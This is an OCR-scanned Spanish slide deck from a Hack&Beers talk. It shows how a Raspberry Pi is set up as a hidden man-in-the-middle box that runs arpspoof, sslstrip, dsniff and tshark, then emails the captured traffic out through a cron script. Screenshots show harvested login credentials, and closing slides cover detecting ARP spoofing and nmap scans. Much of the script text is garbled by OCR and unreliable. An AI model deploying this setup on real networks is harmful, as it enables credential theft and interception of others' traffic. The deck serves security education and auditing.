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Raspberry Pi

“Escuchando la red”

uel Camacho Cei
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Sobre mi

e Security Consultant SVT Cloud Services

HACK
&BEERS

e Tec. Superior Admon. Sistemas Informaticos.

e Tec. Superior Telecomunicaciones.
e Técnico en Seguridad de Redes.

e Colaborador/ Webadmin de www.hacking-etico.com desde 2010
e Organizador y Ponente Hack&Beers

e Community Manager en la Web 2.0

. , @ManoloGaritmo // @Hacking_etico

e www.svtcloud.com // www.hacking-etico.com
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Rasp... éQué?
T L —————————————————————————

e “Es un ordenador de placa reducida o (placa unica) (SBC) de bajo
coste, desarrollado en Reino Unido por la Fundacion Raspberry Pi,
con el objetivo de estimular la ensenanza de ciencias de |la
computacion en las escuelas.

 Broadcom BCM2835, que contiene un procesador central (CPU)
ARM1176JZF-S a 700 MHz (OC)

* Procesador grafico (GPU) VideoCore IV
512 MiB de memoria RAM (Ver. A => 256 MiB).
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Rasp...cQue?

Modelo B Modelo B+
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Rasp...Qué? Raspberry Pi

1

¢ POC (Prueba de Concepto)

Configurar este “juguetito” para dejarlo
conectado en empresa a auditar para
obtener credenciales del gerente.
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Rasp...cQue? Raspberry Pi
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@ Estas pruebas se han realizado en un entorno controlado y

de nuestra propiedad. En ningun caso se han utilizado redes
ajenas para la demostracion.

e Es completamente ILEGAL utilizar técnicas de intrusién y/o
obtencidon de contrasenas en redes que no son de nuestra
propiedad. De hacerlo incurririamos en un delito.




HACK T SVT

&BEERS CloudServices

Premisas
B L ———————————————————

e Distribucion Linux a usar. RASPBIAN(basada en Debian).
e Obviaremos la instalacion del S.O. (Por tiempo)

e Conexion SSH a IP 192.168.1.200 (Posibilidad
HDMI+TECLADO)

* Anadir repositorios:
e deb http://archive.raspbian.org/raspbian wheezy main contrib non-free
e deb-src http://archive.raspbian.org/raspbian wheezy main contrib non-free

e sudo apt-get update && sudo apt-get upgrade
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Premisas
B L ———————————————————

* sudo apt-get install dsniff —y

e sudo apt-get install tshark —y

e sudo apt-get install ssmtp mailutils mpack

e sudo nano /etc/ssmtp/ssmtp.conf
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Envio de emails
R L ———

GNU nano 2.2.6 File: /etc/ssmtp/ssmtp.conf

come from?

nostname

own From: address?

rom: addr
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Prueba de envio & recepcion

Uik | (@ | DE ASUNTO RECIBIDO TAMANG

.............................

@gmail.com “Prueba”™ ma. 0471172014 20:30 16 KB
Probando el envio de correo”™ <fin=

(52 Responder [£2 Responder atodos (&3 Reenviar
ma. 04,/11/2014 20:30
F .
@gmail.com
“Prueba”

Fara @hotmail.com

“Probando el envio de correc”
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Adjuntando archivos
L. R RRRRRRRRRRRRRRRRRRR

e sudo nano /home/pi/svt.txt (CTRL+O — CTRL+X)
* mpack -s ”test /home/pl/svt txt mlcorreo@mall com

Todo No leidos Bu:
105 o |DE ASUNTO RECIBIDO
4  Fecha: Hoy

] @gmail.com test ma. 04/11/2014 20:58

2 Responder (52 Responder atodos [ Reenviar
ma. 04,/11,/2014 20:57

@gmail.com


mailto:micorreo@mail.com
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Instalar “Sniffer”
R L ———

eCapturando pagquetes con:

tshark -nni ethO -a filesize:20 -a files:2 -w
nombrefichero.pcap
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Posibles errores
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Automatizando proceso
L R ————

e Creacion de un script para automatizar el proceso.
e Anadir script al CRON para que sea autonomo.

3008 * * * root /home/pi/miscript.sh
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Ejemplo de script
-, e e . L _————-

#'/bin/bash

echo "Jlolclands A AsCuencil.

slesep 1

scho “"Riague de

slaap 1

sudo arpspoof -1 ecth0 -¢ 152.168.1.103 182.168.1.1 &

sleap 1

sudo iprables =t nat =A PREROUTING -p tcp --destinatcion-port 20 -3 REDIRECT --to-portas S0E0 &

sudo iptables -t nat -A FREROUTING —-p top --desctinacion-port 443 -3 REDIRECT --to-ports 208 9
sudo urlsnarf -i ethl &

echoe "LoIutands o la giygds de IFIA
sleap

sudo sslstrip -a -k -f =1 20820 &
slesp =

scho crip FMARSiQaAnES™

RPN OmnEoRARCE &) EXLATE la CAZRETA SARRLEAS Para no JALRUIAZ £)1 ESRAGLO
if [ -d /home/pl/mice/capturas ] than

acho "EXiate CAZESLA SARGLERa™

s laep

acho "LiEplands CLIfAS CARCUEAS para SVITAD CORAUNG E RERACLE "™
sudes rm =R Jhome/pi/mite/capturas

sleaap 1

aoho “DOorIads EXLLOAS

sleep 2

aano “Se procede - SRECHERE BL EERIICD &h OO JiCchErs O CRDTUREE™
sude mkdir Fhﬂﬁtfplfﬁltt!*aptu:il

alaeap 1

acho "Lanrandsds fani
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Ejemplo de script
-_ee,e,,—_._—_— —_— W , e -——--m—_—_—_—_—me——

sudo desniff -1 ech0 &
eohe “LADLUIALAR RAGUSLESSR

sudc tshark -nni eth0 -a fileaire:1000 =-a files:2 -w Jhoms/pi/mite/capturas/capturasdered.pcap
sudc tar -zovi capturas.car.gz Shome/pi/mitm/capturas/

sudc mpack -8 "CADTULAS realizadas™ home/pi/mith/CADTUrAS.CTAT.JZ ESeeeessssssssssasees NoTmALl . com
alesp S

sudc killall arpspoof

sudo killall sslstrip

alses
sudc mkdir /home/pil/mitm/capturas
slaap 2
echo “Lalzando 4danall
sudo dsniff -1 echD &
sleap 2
echo "Se QIgosds o ARENELE R4 REAAARE B0 B MARARER 9T SARKRED
sude tahark -nnl &chd —-a filespize: 1000 —& files:2 -w Jhome/pi/mitm/capturas/capturasdersd.pcap
slesp =
sudc tar -zcocvf capturas.car.gz Jhome/pil/mitm/capturas/
sudo mpack -8 "LADTuras realizacas" Jhome/pl/mich/CApDTUTas.CAr.J aaesssssssssassset NoTEmaell . com
sleep =

sudo killall arpapoof
sudo killall sslstrip
o |
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A tener en cuenta
R L ———

* E| éxito depende de diversos factores.

e Este ataque ralentiza la red/equipo.

e Se limita el tamano de la captura y spoofing para no saturar la red.
e E| ataque es detectable de ahi también que se lance poco tiempo.
» @ Es ILEGAL hacerlo en redes ajenas.
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Buscando contrasenas

e Ficheros: pcap y .log
e PCAP => Wireshark
e LOG => Notepad++

/i nag
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Buscando credenciales
P ——

*Busqueda de patrones concretos
e Correos (@Hotmail @gmail...)

* Nombres determinantes: “pass
“user”

e Filtrado por protocolo: http

)

passwords”
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Con Wireshark

1

.E‘G -{.dd. !’u‘:-w ﬁo :amme énalyxp &uluun.; ;I;Hq:hunz ic;ni; in‘lem‘alil. .H.elp

codNd BEXR A++aTL BE ccan aBB ik =

Filter: | hitp w| Expression... Clear Apply Save

Mo. Time Source Destination Protocal Length Infa
332 2.89478400192.168.1. 200 185.43.181.192 HTTP 508 GET /pub/firefox/releases /33,0, 3/update/win32/es-es/Tirefox-32.0,3-33.¢
342 2.95397600 152.168.1. 200 95.130.48.160 HTTF 433 GET /7_h=8417dd8284e75e18435d4e911 5cealtb HTTR/1.0
441 4.45079900192.168.1. 200 173.194.45.181 HTTP 1099 GET /mail/images/cleardot. gif7t=1415458086784 HTTP,/1.0
472 4.65231700173.194.45.181 192.168.1. 200 HTTP 66 HTTP/1.0 200 oK (GIFB9a) (GIF8%a) (image/qgif)
478 4.67834400 192.168.1,103 95,130.48.160 HTTP 476 GET /private/ajax/Resources/css/axitheme-classic.css MTTP/L.1
487 4.69709600 192.168.1.103 95,130, 48. 160 HTTP 483 GET /privatesajax/Resources/css/axitheme-classic-webkit, css HTTR/1.1
490 4. 69710600192.168.1.103 95.130.48. 160 HTTP 4B8 GET /private/ajax/Resources/css/axitheme-classic-geckolOplus.css HTTR/1
530 5. 06000500102, 168.1. 200 173.1904.45. 181 HTTP 1104 GET /mail/grluTemail-SS  TT 1. O
577 5.28520100173.194.45.181 192.168.1. 200 HTTP 390 HTTP/1.0 204 No Content

595 5.47869100 192.168.1. 200 173.194.45.181 1113 ceT /mail/glurenai | R 0921 1. conSil

628 5.75245000173.1%4.45.161
651 6.06450800192.168.1. 200
790 7.13885700192.168.1. 200
823 7.30835100 95.130.48. 160
849 7.44938100192.168.1. 200
884 7.6226850095.130.48.160
996 8. 39329/00192.168. 1. 103

Frame 996: 751 bytes on wire (6008 bi
Ethernet II, Src: CompalIn_45:5f:ce (
Internet Protocol version 4, Src: 192
Transmission Control Protocel, Src Pol
Source Port: 50035 (50935)
pestination Port: B0 (80}
[stream index: 31]
[TcP Segment Len: 697]

00f0 53 74 35 de 34 33 de 4f dc 4d
0100 4b 33 4c 64 62 61 55 48 53 65
0110 2d 72 76 6f 61 34 45 43 44 41
0120 4d 4d 77 79 30 56 36 41 31 46
0130 32 49 72 54 75 4¢ 34 4b 56 4¢

43

59 36 70 49 68 4b €5 42 77 68

0210 36 44 43 S5 4F 57 44 32 6d da
0220 6c 4c 73 43 47 de 67 54 48 49
0230 2d 52 41 72 44 38 2d 75 38 57
0240 35 70 54 56 56 4c 77 66 62 58
0250 75 6b 5F 47 32 48 54 38 42 34
60 79 51 26 70 73 74 4d 73

Q2e0 33 25 42 33 6 26 72 6d 53 68

Frame (751 bytes) | Resssernbled TCP (1971 bytes)
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on Wireshark

File Edit Wiew Go Capture Analyze Statistics Telaphon! Tools Internals  Help

codmd BEXR AesaTL/HE QAR #EB X D

FIItar: http I v | Expression... Clear Apply Save
MNo. Time Source Destination Protocol Length Info

27 0.30891900192.168.1. 200 64.233.167.84 HTTP 1002 GET /ServiceLogin?service=mail&passive=true&qrm=Ffalse&continue=http://mail.google.com/mail/&ss=1&scc=1&1tmpl=defaultd
41 0.39950000 64.233.167.84 192.168.1.200 HTTP 447 HTTP/1.0 302 moved Temporarily (text/html)
88 1.61153400173.194.78.84 192.168.1.103 HTTP 958 HTTP/1.1 302 Moved Temporarily (text/html)
90 1.62174200192.168.1.103 173.194.78.84 HTTP 1032 GET /serviceLogin?service=mail&passive=true&rm=false&continue=httpk3A%2r%2Fmail.google. com%2Fmail%2F&ss=1&scc=1&1tmp
395 4.69152100192.168.1.103 95.130.48.160 HTTP 128 POST /?action=login&custom=ajax HTTP/1.1 (application/x-www-form-urlencoded)

408 4.78653000192.168.1.103 173.194.45.183 HTTP 527 GET /accounts/ui/avatar_2x.png HTTP/1.1

411 4.79456600192.168.1.103 173.194.45.183 HTTP 525 GET /accounts/ui/logo_2x.png HTTR/1.1

428 4.99201600192.168.1.103 173.194.45.183 HTTP 531 GET /accounts/ui/logo_strip_2x.png HTTP/1.1

455 5.15308400192.168.1.103 173.194.45.183 HTTP 559 GET /images/icons/ui/common/universal_language_settings-21.png HTTP/1.1

592 6.11278800192.168.1.103 173.194.45.216 HTTP 556 GET /s/opensans/v10/c]ZKeOuBrndkERxqtaUH3TBED 7KZn-EPnyo3HZu7kw. woff HTTP/1.1

595 6.12087200192.168.1.103 173.194.45.216 HTTP 556 GET /s/opensans/v10/DXI10RHCpsQm3Vp6mXoaTxXhCU0Gz7vYGh6801Gh-uxM. woff HTTP/1.1

65894400 192

774 7.71611600192.168.1 3

775 7.72342000192.168.1. 200 173.194.45.223 HTTP 507 GET /accounts/ui/avatar_2x.png HTTP/1.0

776 7.73146200192.168.1. 200 173.194.45.223 HTTP 505 GET /accounts/ui/logo_2x.png HTTR/1.0

780 7.74004100 95.130.48.160 192.168.1.200 HTTP 574 HTTP/1.0 303 moved Temporarily

882 8.57719200192.168.1. 200 173.194.45.223 HTTP 539 GET /images/icons/ui/common/universal_language_settings-21.png HTTP/1.0
890 8.63265200173.194.45.223 192.168.1. 200 HTTP 647 HTTP/1.0 200 OK (PNG)

Frame 763: 578 bytes on wire (4624 bits), 578 bytes captured (4624 bits) on interface 0O

Ethernet II, src: Raspberr_c9:de:41 (b8:27:eb:c9:de:41), Dst: Tp-LinkT_e5:40:85 (10:fe:ed:e5:40:85)
Internet Protocol version 4, Src: 192.168.1.200 (192.168.1.200), Dst: 95.130.48.160 (95.130.48.160)
# Transmission Control Protocol, Src Port: 39289 (39289), Dst Port: BO (80), Seg: 1, Ack: 1, Le 512

e e e e T Coded, C siar set=_L
-8.... USername
VTC

loud. com &passwor

0050 6c 6f 67 69 6e 26 63 75 73 74 6f 6d 3d 61 6a 61 login&cu stom=aja
0060 78 20 48 54 54 50 2f 31 2e 30 0d 0a 63 6f 6e 74 x HTTP/1 .0..cont
0070 65 6e 74 2d 6c 65 6e 67 74 6B 3a 20 37 34 0d 0a th: 74..

0080 &1 63 63 65 70 74 2d 6c 61 Ge &7 75 61 67 65 3a anguage:
0090 20 65 73 0d 0a 72 65 66 65 72 65 72 3Ja 20 68 74 . erér: ht

: login
=Login&d omainnam
e=

0le0 63 6f 64 65 64 3b 20 63 68 61 72 73 65 74 3d 55 Na =
01f0 54 46 2d 38 0d 0a Od 0a 75 73 65 72 6e 61 6d 65 . username
0200 3d 6d 62 61 6d 61 63 68 6f 25 34 30 73 76 74 63 vtc
0210 6c 6f 75 64 2e 63 6f 6d 26 70 61 73 73 77 &f 72 . COm A5 SWOr
0220 64 3d 41 75 45 57 43 47 41 62 26 6c 6f 67 69 6e ul login
0230 3d 4c 6f 67 69 6e 26 64 of 6d 61 69 6e 6e 61 &d ogin&d omainnam

© [ File: " ; Profile: Default
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Con Notepad++
-, e e . L _————-

Archive Editar Vista Cedificacion Lenguaje Configuracion Macre Ejecutar Plugins  Ventana 7

35 G & | np x| EREVEREL IEF RGBS
Buscar ﬂ

Buscar | Reemplazar | Buscar en archives | Mark

A —— - T —  — | —————]
. L e —————
Eusn{ | b4 | | Buscar siguiente | ]
| ———— - | — — - — | — -
Contar |- — — ————
Buscar en todos los
e - S ———.  EE——  — - - -
Buscar solo en el archivo
[ 5ol palabras completas actual
[ coincidir maydsculas/mintsculas Cerrar
Buscar en todo el documento
Modo de blsqueda Direccién Transparencia
(®) Normal 7 Arriba (®) Al hacer dic sobre el arc
Extendido (\n, ¥, \t, 10, W...) ® abzio D) Siempre

() Expresién regular  [_] . matches newline

2014-11-08 14:37:09,315 SECURE POET Data (www.facebook.com):
1sd=avVrgMecTsemai l={ GG ctmail . cnm&pas5=_&default_persi.5tent=0 stimezone=&lgnrnd=063612 aUSr&lgnjs=n&locale=es_ES5

2014-11-08 14:37:08,315 SECURE POST Data (www.facebook.com):

1lzd=AVrgMecTzemail={ GNP ctnail. com&pass-&
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Aun hay mas...
T L —————————————————————————

e| eer correos recibidos de la cuenta atacada.

* Credenciales a otros servicios contenidas dentro
del correo.

e Leer datos confidenciales (Aunque son
nuestros... :P)
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VMas credenciales
R L ———

<m: from><! < /m: from>

<m:to><! [CDATA[Manuel Camacho <mcamacho@sviclound.coms]]></m:to>
<miccr<! [CDATA[] ] ></m: ce>

<m:hee><! [CDATA[] ] ></m:heg>

<m: replyTo><! [ (D | | ></n: replyTo>

<m:replyTolll><! [CDATA[] ] ></m:replyTolll>

<m:5ubject><][CDATA[Informaciﬁ’n de sy nueva guenktal 1></m:subjects>
<m:snippet><! [CDATA[Benvenide! Su cusnta (P o2 side steada. Sy informacili*n de agessq sa:

UrL: htcos:// (D . -
Login ID: —

Password:

<m:MailObject>
<m:id>480</m:id>

<m:=izerx10136</m:size>

<m: from><! [CDATA [ (D | | > </ : from>
<m:tor<! [CDATA[Miguel Angel Arrovo <miguel.arrovo@sybcleond.com>]]></m:tox
<m:cc><! [CDATA [meamachofsviclond. goml 1 ></m:cc>

<miboe <! [CDATA[] ] ></m:hoe>

<m: replyTo><! [COATA [ - == > | | ></m: replyTo>

<m:replyvIoRll><! [CDATA[Miguel é&g@& Arroyo <miguel.arrovo@syrelound.goms]]l></m: replyTollls>

<m:subject><! [CDATA[Re: Q@g@gm _]><,fr,@ subject>

<m:snippet><! [CDATA[Qk, QJracias

Busn fin de sgmana.
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|dentificar atague ARP

1

e arp —v para ver las tablas ARP
e Dos ips con misma MAC puede advertir ARP SPOOFING

Giga-Byt Sb:88:16 ARF 192.168,120.30 15 at d0:ae:ec:ec. s
Broadcast ARF wWho has 192,.168.120.307 Tell 192.168.120.22
Broadcast ARF Who has 192,.168.120,307 Tell 192.168.120.22
CadmusCo_df:30:ee ARP 192,.168.120.30 15 at dO:ae:ec:ec = —

Giga-Byt Sb:88:16 ARF 192.168.120.30 1s at 08:00:27:df: 7=
Giga-Byt 5b:88:16 ARF 192.168.120.30 15 at 08:00:27:df: "
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|dentificar atague ARP

1

e Lentitud de navegacion
e Cambio de protocolo https =2 http

- http: 4 www.facebook.com/

facebook
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God Job!!

¥
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ldeas...
R L ———

e Afadiendo funcionalidades:

 Un nmap que nos escanee regularmente la red y nos mande al correo los
resultados.
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Complementando
T L —————————————————————————

e Afadiendo funcionalidades:

e Escaneando mas de los 1024 puertos que escanea nmap por defecto.
nmap -p 25,80,1000-4000 192.168.1.1
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Complementando

1

e Puertos por los que se estan ejecutando determinados servicios.
nmap -sV -0 -p 22,25,3306 192.168.1.39

1°8 o ] I —
n¥ sudo nmap -3V

-ow ot
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shutdown —h now
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